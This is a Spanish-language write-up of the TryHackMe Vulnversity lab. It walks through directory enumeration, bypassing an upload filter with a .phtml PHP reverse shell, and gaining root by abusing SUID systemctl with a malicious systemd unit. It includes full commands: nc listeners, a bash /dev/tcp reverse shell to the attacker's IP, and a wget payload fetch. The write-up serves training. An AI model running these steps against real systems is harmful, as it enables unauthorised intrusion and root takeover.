Vulnversity es una sala introductoria de TryHackMe enfocada en reconocimiento activo con nmap, enumeración de directorios y explotación de una funcionalidad de upload de archivos para obtener una reverse shell PHP. La escalada de privilegios se logra abusando del binario systemctl con bit SUID, creando un servicio de systemd malicioso que ejecuta una reverse shell como root.
Escaneamos puertos con nmap para mapear la superficie de ataque. Encontramos una aplicación web y un servidor Squid en el host.
Enumeramos directorios en el servidor web para encontrar secciones ocultas:
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /internal/ ← directorio con formulario de upload
En /internal/ encontramos un formulario de subida de archivos. Al intentar subir un .php directamente, el servidor lo rechaza. Probamos extensiones alternativas y descubrimos que acepta .phtml.
# Copiar la plantilla de reverse shell PHP
cp /usr/share/webshells/php/php-reverse-shell.php shell.phtml
# Editar: cambiar $ip y $port por tu IP y puerto
nano shell.phtml
# $ip = 'TU_IP_TUN0'
# $port = 4444
# Terminal 1: listener
nc -nlvp 4444
# Subir shell.phtml via el formulario /internal/
# Activar navegando a:
curl http://TARGET/internal/uploads/shell.phtml
# Estabilizar la shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Entramos como www-data. En /home/bill/ encontramos la flag de usuario.
Buscamos binarios con el bit SUID activado:
find / -type f -perm -4000 2>/dev/null
# /bin/systemctl ← binario inusual con SUID
systemctl con SUID permite crear y ejecutar servicios del sistema con privilegios de root. Creamos un unit file de systemd malicioso:
[Unit]
Description=Reverse Shell Root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/TU_IP/4445 0>&1'
[Install]
WantedBy=multi-user.target
# En nuestra máquina: servir el archivo
python3 -m http.server --bind TU_IP 8000
# En la máquina víctima (www-data):
cd /tmp
wget http://TU_IP:8000/root.service
# Listener en nuestra máquina para recibir la shell root:
nc -nlvp 4445
# En la víctima: habilitar y arrancar el servicio
/bin/systemctl enable /tmp/root.service
/bin/systemctl start root
El servicio arranca como root y ejecuta la reverse shell → acceso root completo.
systemctl con SUID es una configuración peligrosísima. Los servicios de systemd corren como root por defecto y permiten ejecución arbitraria de comandos./uploads, /internal/uploads) son puntos de entrada directos si el servidor ejecuta los archivos subidos.systemctl, find, vim, etc.